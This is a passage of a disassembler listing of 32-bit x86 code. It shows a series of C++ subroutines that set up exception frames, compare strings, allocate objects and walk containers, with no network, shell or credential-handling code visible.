mov ecx, [esp+20h+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 14h
retn
sub_411EB0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411F80 proc near ; CODE XREF: sub_401BD6j
; _294ADE7B:00401CDFj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401B72
test [esp+4+arg_0], 1
jz short loc_411F98
push esi
call sub_430332
add esp, 4
loc_411F98: ; CODE XREF: sub_411F80+Dj
mov eax, esi
pop esi
retn 4
sub_411F80 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411FB0 proc near ; CODE XREF: sub_401B72j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 6586Ch
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
mov dword ptr [esi], offset off_437044
lea edi, [esi+60h]
mov [esp+1Ch+var_4], 3
mov ecx, edi
call sub_40184D
lea ebx, [esi+6Ch]
mov ecx, ebx
call sub_401B45
mov ecx, ebx
mov byte ptr [esp+1Ch+var_4], 2
call sub_40145B
mov ecx, edi
mov byte ptr [esp+1Ch+var_4], 1
call sub_401195
lea ecx, [esi+32h]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+1Ch+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 10h
retn
sub_411FB0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412070 proc near ; CODE XREF: sub_40191Aj
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 32C36h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 15h
push 0Fh
push 7
push 0Fh
lea eax, [esp+58h+var_3C]
push 0Ch
mov esi, ecx
push eax
call sub_4018DE
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_401726
lea ecx, [esi+32h]
push eax
push ecx
mov ecx, 60CB0h
call sub_401523
lea ecx, [esp+40h+var_3C]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_4011F9
push 0
push 14h
push 5
lea edx, [esp+4Ch+var_24]
push 13h
push edx
call sub_4018DE
add esp, 14h
push esi
mov ecx, eax
mov [esp+44h+var_4], 1
call sub_401726
add esi, 4
push eax
push esi
mov edx, 880C19h
call sub_401523
lea ecx, [esp+40h+var_24]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+40h+var_C]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_412070 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412160 proc near ; CODE XREF: sub_401BAEj
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_412160
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0
call sub_401726
test eax, eax
jz short loc_412207
lea ecx, [esp+18h+var_14]
call sub_4020B3
add esi, 6Ch
lea eax, [esp+18h+var_10]
push eax
mov ecx, esi
call sub_40181B
mov ecx, [eax]
lea edx, [esp+18h+var_10]
mov [esp+18h+var_14], ecx
push edx
mov ecx, esi
call sub_40112C
push eax
lea ecx, [esp+1Ch+var_14]
call sub_4012F8
test al, al
jz short loc_412207
loc_4121C8: ; CODE XREF: sub_412160+A5j
lea eax, [esp+18h+arg_0]
lea ecx, [esp+18h+var_14]
push eax
call sub_401311
mov ecx, [eax]
add ecx, 19h
call sub_401A7D
test eax, eax
lea ecx, [esp+18h+var_14]
jz short loc_41222C
call sub_401168
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_40112C
push eax
lea ecx, [esp+1Ch+var_14]
call sub_4012F8
test al, al
jnz short loc_4121C8
loc_412207: ; CODE XREF: sub_412160+2Ej
; sub_412160+66j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_4011F9
xor eax, eax
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 18h
; ---------------------------------------------------------------------------
loc_41222C: ; CODE XREF: sub_412160+86j
call sub_401311
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+18h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 18h
sub_412160 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4122A0 proc near ; CODE XREF: sub_401F8Cj
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push 220306h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push ebp
push esi
push edi
mov ebx, ecx
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0
call sub_401726
test eax, eax
jz loc_412373
lea ecx, [esp+28h+var_18]
call sub_401032
lea ebp, [ebx+60h]
lea eax, [esp+28h+var_14]
push eax
mov ecx, ebp
call sub_4018AC
mov ecx, [eax]
lea edx, [esp+28h+var_14]
mov [esp+28h+var_18], ecx
push edx
mov ecx, ebp
call sub_402095
push eax
lea ecx, [esp+2Ch+var_18]
call sub_4019F6
test al, al
jz short loc_412373
loc_41230F: ; CODE XREF: sub_4122A0+D1j
lea ecx, [esp+28h+var_18]
call sub_4011A9
mov edi, [eax]
sub esp, 18h
lea eax, [esp+40h+arg_0]
mov ecx, esp
mov [esp+40h+var_10], esp
push eax
call sub_40146F
mov ecx, ebx
call sub_401BAE
mov esi, eax
test esi, esi
jz short loc_41233C
mov edi, [esi]
loc_41233C: ; CODE XREF: sub_4122A0+98j
lea ecx, [esp+28h+arg_0]
push ecx
mov ecx, edi
call sub_401A7D
test eax, eax
jz short loc_41239B
test esi, esi
jnz short loc_41239B
lea ecx, [esp+28h+var_18]
call sub_4017E9
lea edx, [esp+28h+var_14]
mov ecx, ebp
push edx
call sub_402095
push eax
lea ecx, [esp+2Ch+var_18]
call sub_4019F6
test al, al
jnz short loc_41230F
loc_412373: ; CODE XREF: sub_4122A0+31j
; sub_4122A0+6Dj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_4011F9
xor eax, eax
loc_412386: ; CODE XREF: sub_4122A0+10Ej
mov ecx, [esp+28h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_41239B: ; CODE XREF: sub_4122A0+AAj
; sub_4122A0+AEj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_4011F9
mov eax, edi
jmp short loc_412386
sub_4122A0 endp
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412400 proc near ; CODE XREF: sub_401DFCj
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push 110183h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
lea ecx, [esp+14h+arg_0]
mov [esp+14h+var_4], 1
call sub_401726
test eax, eax
jz short loc_4124A4
lea ecx, [esp+14h+var_14]
call sub_401CE9
lea eax, [esp+14h+var_10]
lea ecx, [esp+14h+arg_18]
push eax
call sub_4012B2
mov ecx, [eax]
lea edx, [esp+14h+var_10]
mov [esp+14h+var_14], ecx
push edx
lea ecx, [esp+18h+arg_18]
call sub_401C62
push eax
lea ecx, [esp+18h+var_14]
call sub_401C35
test al, al
jz short loc_4124A4
loc_412466: ; CODE XREF: sub_412400+A2j
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_14]
push eax
call sub_401E51
mov ecx, [eax]
call sub_401A7D
test eax, eax
jz short loc_4124D6
lea ecx, [esp+14h+var_14]
call sub_401F2D
lea ecx, [esp+14h+var_10]
push ecx
lea ecx, [esp+18h+arg_18]
call sub_401C62
push eax
lea ecx, [esp+18h+var_14]
call sub_401C35
test al, al
jnz short loc_412466
loc_4124A4: ; CODE XREF: sub_412400+2Bj
; sub_412400+64j
lea ecx, [esp+14h+arg_0]
mov byte ptr [esp+14h+var_4], 0
call sub_4011F9
lea ecx, [esp+14h+arg_18]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40150A
xor eax, eax
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
loc_4124D6: ; CODE XREF: sub_412400+7Dj
push esi
lea ecx, [esp+18h+var_14]
call sub_401E51
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_4011F9
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_40150A
mov ecx, [esp+18h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 24h
sub_412400 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412570 proc near ; CODE XREF: sub_4011B3j
var_A4 = byte ptr -0A4h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_64 = byte ptr -64h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push 880C1h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 98h
push esi
xor esi, esi
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], esi
call sub_401726
test eax, eax
jz loc_4126A3
lea eax, [esp+0A8h+var_64]
push eax
call sub_401974
add esp, 4
lea ecx, [esp+0A8h+var_A4]
call sub_4013CF
push 44060h
lea ecx, [esp+0ACh+var_A4]
mov byte ptr [esp+0ACh+var_4], 1
call sub_401564
lea ecx, [esp+0A8h+arg_0]
call sub_401384
push eax
lea ecx, [esp+0ACh+arg_0]
call sub_401479
lea ecx, [esp+0ACh+var_64]
push eax
push ecx
call sub_401B09
lea edx, [esp+0B4h+var_64]
lea eax, [esp+0B4h+var_74]
push edx
push eax
call sub_401FCD
add esp, 14h
loc_41260B: ; CODE XREF: sub_412570+E8j
lea ecx, [esp+0A8h+var_8C]
call sub_4013CF
xor ecx, ecx
lea edx, [esp+0A8h+var_8C]
mov cl, [esp+esi+0A8h+var_74]
mov byte ptr [esp+0A8h+var_4], 2
push ecx
push offset loc_422030
push edx
call sub_40102D
add esp, 0Ch
lea eax, [esp+0A8h+var_8C]
lea ecx, [esp+0A8h+var_A4]
push eax
call sub_40162C
lea ecx, [esp+0A8h+var_8C]
mov byte ptr [esp+0A8h+var_4], 1
call sub_4011F9
inc esi
cmp esi, 10h
jl short loc_41260B
mov edx, [esp+0A8h+arg_18]
lea ecx, [esp+0A8h+var_A4]
push ecx
lea ecx, [edx+15h]
call sub_401A7D
test eax, eax
mov byte ptr [esp+0A8h+var_4], 0
lea ecx, [esp+0A8h+var_A4]
jnz short loc_41269E
call sub_4011F9
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, 1
jmp short loc_4126BC
; ---------------------------------------------------------------------------
loc_41269E: ; CODE XREF: sub_412570+10Cj
call sub_4011F9
loc_4126A3: ; CODE XREF: sub_412570+33j
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_4011F9
xor al, al
loc_4126BC: ; CODE XREF: sub_412570+12Cj
mov ecx, [esp+0A8h+var_C]
pop esi
mov large fs:0, ecx
add esp, 0A4h
retn 1Ch
sub_412570 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412740 proc near ; CODE XREF: sub_401848j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push 211018h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
sub esp, 18h
lea eax, [esp+30h+arg_18]
mov ecx, esp
mov [esp+30h+var_14], esp
push eax
mov [esp+34h+var_4], 1
call sub_40146F
mov ecx, esi
call sub_401F8C
test eax, eax
jz short loc_4127EE
sub esp, 0Ch
add eax, 54h
mov ecx, esp
mov [esp+24h+var_14], esp
push eax
call sub_401681
sub esp, 18h
lea edx, [esp+3Ch+arg_0]
mov ecx, esp
mov [esp+3Ch+var_10], esp
push edx
mov byte ptr [esp+40h+var_4], 2
call sub_40146F
mov ecx, esi
mov byte ptr [esp+3Ch+var_4], 1
call sub_401DFC
test eax, eax
jz short loc_4127EE
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_4011F9
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, 1
mov ecx, [esp+18h+var_C]
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
; ---------------------------------------------------------------------------
loc_4127EE: ; CODE XREF: sub_412740+3Fj
; sub_412740+79j
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_4011F9
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+18h+var_C]
xor al, al
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
sub_412740 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_412870: ; CODE XREF: _294ADE7B:00401343j
push 0FFFFFFFFh
push 50880Ch
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_4017A8
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_4017A8
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_401848
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412900 proc near ; CODE XREF: sub_40115Ej
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push 684406h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
mov ebp, [esp+48h+arg_18]
xor ebx, ebx
cmp ebp, ebx
mov [esp+48h+var_4], ebx
jz loc_412A49
lea ecx, [esp+48h+arg_0]
call sub_401726
test eax, eax
jz loc_412A49
push esi
push edi
push 742203h
lea eax, [esp+54h+var_3C]
push ebx
push eax
lea ecx, [esp+5Ch+arg_0]
xor esi, esi
call sub_401622
push 3A1101h
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012B7
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_4011F9
cmp edi, ebx
jz loc_412A23
add ebp, 54h
loc_412980: ; CODE XREF: sub_412900+11Dj
push 15h
call sub_43034A
add esp, 4
mov [esp+50h+var_40], eax
cmp eax, ebx
mov byte ptr [esp+50h+var_4], 2
jz short loc_4129A0
mov ecx, eax
call sub_401DE8
jmp short loc_4129A2
; ---------------------------------------------------------------------------
loc_4129A0: ; CODE XREF: sub_412900+95j
xor eax, eax
loc_4129A2: ; CODE XREF: sub_412900+9Ej
push 5D0880h
lea ecx, [esp+54h+var_24]
push esi
push ecx
lea ecx, [esp+5Ch+arg_0]
mov byte ptr [esp+5Ch+var_4], bl
mov [esp+5Ch+arg_18], eax
call sub_401622
mov ecx, [esp+50h+arg_18]
push eax
mov byte ptr [esp+54h+var_4], 3
call sub_401EAB
lea ecx, [esp+50h+var_24]
mov byte ptr [esp+50h+var_4], bl
call sub_4011F9
lea edx, [esp+50h+arg_18]
mov ecx, ebp
push edx
call sub_401429
inc esi
push 6E8440h
lea eax, [esp+54h+var_3C]
push esi
push eax
lea ecx, [esp+5Ch+arg_0]
call sub_401622
push 374220h
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012B7
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_4011F9
cmp edi, ebx
jnz loc_412980
loc_412A23: ; CODE XREF: sub_412900+77j
lea ecx, [esp+50h+arg_0]
mov [esp+50h+var_4], 0FFFFFFFFh
call sub_4011F9
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn 1Ch
; ---------------------------------------------------------------------------
loc_412A49: ; CODE XREF: sub_412900+26j
; sub_412900+37j
lea ecx, [esp+48h+arg_0]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+48h+var_C]
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 1Ch
sub_412900 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412AD0 proc near ; CODE XREF: sub_401DE8j
push esi
mov esi, ecx
call sub_4013CF
mov eax, esi
pop esi
retn
sub_412AD0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_412AF0: ; CODE XREF: _294ADE7B:004010D7j
mov eax, [esp+8]
mov edx, [esp+4]
push esi
push eax
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push edx
call sub_4017A8
mov ecx, esi
call sub_40115E
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B30 proc near ; CODE XREF: sub_4017D0j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
arg_30 = byte ptr 34h
arg_48 = byte ptr 4Ch
arg_60 = byte ptr 64h
push 0FFFFFFFFh
push 5BA110h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov ebp, ecx
sub esp, 18h
lea eax, [esp+3Ch+arg_30]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push eax
mov [esp+40h+var_4], 4
call sub_40146F
mov ecx, ebp
call sub_401BAE
xor ebx, ebx
cmp eax, ebx
jnz loc_412D1E
sub esp, 18h
lea edx, [esp+3Ch+arg_0]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push edx
call sub_40146F
mov ecx, ebp
call sub_401F8C
mov edi, eax
cmp edi, ebx
jz loc_412D1E
push edi
lea eax, [esp+28h+arg_18]
sub esp, 18h
mov ecx, esp
mov [esp+40h+var_14], esp
push eax
call sub_40146F
mov ecx, ebp
call sub_4011B3
cmp al, bl
jz loc_412D1E
push 6DD088h
lea ecx, [esp+28h+arg_48]
call sub_4012B7
test eax, eax
jz short loc_412C17
lea ecx, [edi+2Ah]
call sub_401726
lea ecx, [esp+24h+arg_48]
mov esi, eax
call sub_401726
loc_412BE6: ; CODE XREF: sub_412B30+D4j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_412C0A
cmp cl, bl
jz short loc_412C06
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_412C0A
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_412BE6
loc_412C06: ; CODE XREF: sub_412B30+C0j
xor eax, eax
jmp short loc_412C0F
; ---------------------------------------------------------------------------
loc_412C0A: ; CODE XREF: sub_412B30+BCj
; sub_412B30+CAj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_412C0F: ; CODE XREF: sub_412B30+D8j
cmp eax, ebx
jnz loc_412D1E
loc_412C17: ; CODE XREF: sub_412B30+A1j
push 36E844h
lea ecx, [esp+28h+arg_60]
call sub_4012B7
test eax, eax
jz short loc_412C73
lea ecx, [edi+3Fh]
call sub_401726
lea ecx, [esp+24h+arg_60]
mov esi, eax
call sub_401726
loc_412C42: ; CODE XREF: sub_412B30+130j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_412C66
cmp cl, bl
jz short loc_412C62
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_412C66
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_412C42
loc_412C62: ; CODE XREF: sub_412B30+11Cj
xor eax, eax
jmp short loc_412C6B
; ---------------------------------------------------------------------------
loc_412C66: ; CODE XREF: sub_412B30+118j
; sub_412B30+126j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_412C6B: ; CODE XREF: sub_412B30+134j
cmp eax, ebx
jnz loc_412D1E
loc_412C73: ; CODE XREF: sub_412B30+FAj
push 58h
call sub_43034A
add esp, 4
mov [esp+24h+var_10], eax
cmp eax, ebx
mov byte ptr [esp+24h+var_4], 5
jz short loc_412C93
mov ecx, eax
call sub_401BE5
jmp short loc_412C95
; ---------------------------------------------------------------------------
loc_412C93: ; CODE XREF: sub_412B30+158j
xor eax, eax
loc_412C95: ; CODE XREF: sub_412B30+161j
mov [esp+24h+var_14], eax
mov [eax], edi
mov ecx, [esp+24h+var_14]
lea eax, [esp+24h+arg_0]
push eax
add ecx, 4
mov byte ptr [esp+28h+var_4], 4
call sub_401EAB
mov eax, [esp+24h+var_14]
lea edx, [esp+24h+arg_30]
push edx
lea ecx, [eax+19h]
call sub_401EAB
lea ecx, [esp+24h+var_14]
push ecx
lea ecx, [ebp+6Ch]
call sub_4013B1
lea ecx, [esp+24h+arg_0]
mov byte ptr [esp+24h+var_4], 3
call sub_4011F9
lea ecx, [esp+24h+arg_18]
mov byte ptr [esp+24h+var_4], 2
call sub_4011F9
lea ecx, [esp+24h+arg_30]
mov byte ptr [esp+24h+var_4], 1
call sub_4011F9
lea ecx, [esp+24h+arg_48]
mov byte ptr [esp+24h+var_4], bl
call sub_4011F9
lea ecx, [esp+24h+arg_60]
mov [esp+24h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, 1
jmp short loc_412D6B
; ---------------------------------------------------------------------------
loc_412D1E: ; CODE XREF: sub_412B30+44j
; sub_412B30+68j ...
lea ecx, [esp+24h+arg_0]
mov byte ptr [esp+24h+var_4], 3
call sub_4011F9
lea ecx, [esp+24h+arg_18]
mov byte ptr [esp+24h+var_4], 2
call sub_4011F9
lea ecx, [esp+24h+arg_30]
mov byte ptr [esp+24h+var_4], 1
call sub_4011F9
lea ecx, [esp+24h+arg_48]
mov byte ptr [esp+24h+var_4], bl
call sub_4011F9
lea ecx, [esp+24h+arg_60]
mov [esp+24h+var_4], 0FFFFFFFFh
call sub_4011F9
xor al, al
loc_412D6B: ; CODE XREF: sub_412B30+1ECj
mov ecx, [esp+24h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 14h
retn 78h
sub_412B30 endp
; ---------------------------------------------------------------------------
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412E20 proc near ; CODE XREF: sub_401BE5j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 1B7422h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_4013CF
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_4013CF
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_4013CF
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_4013CF
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_412E20 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_412EB0: ; CODE XREF: _294ADE7B:00401C94j
push 0FFFFFFFFh
push 4DBA11h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+24h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_4017A8
mov edx, [esp+3Ch]
sub esp, 18h
mov ecx, esp
mov [esp+58h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_4017A8
mov eax, [esp+50h]
sub esp, 18h
mov ecx, esp
mov [esp+6Ch], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_4017A8
mov edx, [esp+64h]
sub esp, 18h
mov ecx, esp
mov [esp+80h], esp
push edx
mov byte ptr [esp+74h], 2
call sub_4017A8
mov eax, [esp+78h]
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
mov byte ptr [esp+8Ch], 3
call sub_4017A8
mov ecx, esi
mov dword ptr [esp+88h], 0FFFFFFFFh
call sub_4017D0
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 14h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412FA0 proc near ; CODE XREF: sub_4014CEj
add ecx, 6Ch
jmp sub_401B45
sub_412FA0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412FC0 proc near ; CODE XREF: sub_40132Fj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
arg_30 = byte ptr 34h
arg_48 = byte ptr 4Ch
push 0FFFFFFFFh
push 26DD08h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push 60h
mov [esp+1Ch+var_4], 3
call sub_43034A
add esp, 4
mov [esp+18h+var_10], eax
test eax, eax
mov byte ptr [esp+18h+var_4], 4
jz short loc_413003
mov ecx, eax
call sub_401AE1
jmp short loc_413005
; ---------------------------------------------------------------------------
loc_413003: ; CODE XREF: sub_412FC0+38j
xor eax, eax
loc_413005: ; CODE XREF: sub_412FC0+41j
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 3
push ecx
mov ecx, eax
mov [esp+1Ch+var_14], eax
call sub_401EAB
mov eax, [esp+18h+var_14]
lea edx, [esp+18h+arg_18]
push edx
lea ecx, [eax+15h]
call sub_401EAB
mov edx, [esp+18h+var_14]
lea ecx, [esp+18h+arg_30]
push ecx
lea ecx, [edx+2Ah]
call sub_401EAB
mov ecx, [esp+18h+var_14]
lea eax, [esp+18h+arg_48]
push eax
add ecx, 3Fh
call sub_401EAB
lea edx, [esp+18h+var_14]
lea ecx, [esi+60h]
push edx
call sub_401DB6
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 2
call sub_4011F9
lea ecx, [esp+18h+arg_18]
mov byte ptr [esp+18h+var_4], 1
call sub_4011F9
lea ecx, [esp+18h+arg_30]
mov byte ptr [esp+18h+var_4], 0
call sub_4011F9
lea ecx, [esp+18h+arg_48]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+18h+var_C]
pop esi
mov large fs:0, ecx
add esp, 14h
retn 60h
sub_412FC0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4130F0 proc near ; CODE XREF: sub_401AE1j
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 536E84h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_4013CF
lea ecx, [esi+15h]
mov [esp+18h+var_4], 0
call sub_4013CF
lea ecx, [esi+2Ah]
mov byte ptr [esp+18h+var_4], 1
call sub_4013CF
lea ecx, [esi+3Fh]
mov byte ptr [esp+18h+var_4], 2
call sub_4013CF
lea eax, [esp+7]
lea ecx, [esi+54h]
push eax
mov byte ptr [esp+1Ch+var_4], 3
call sub_4012E9
mov ecx, [esp+18h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
sub_4130F0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413190: ; CODE XREF: _294ADE7B:004010E1j
push 0FFFFFFFFh
push 29B742h
mov eax, large fs:0
push eax
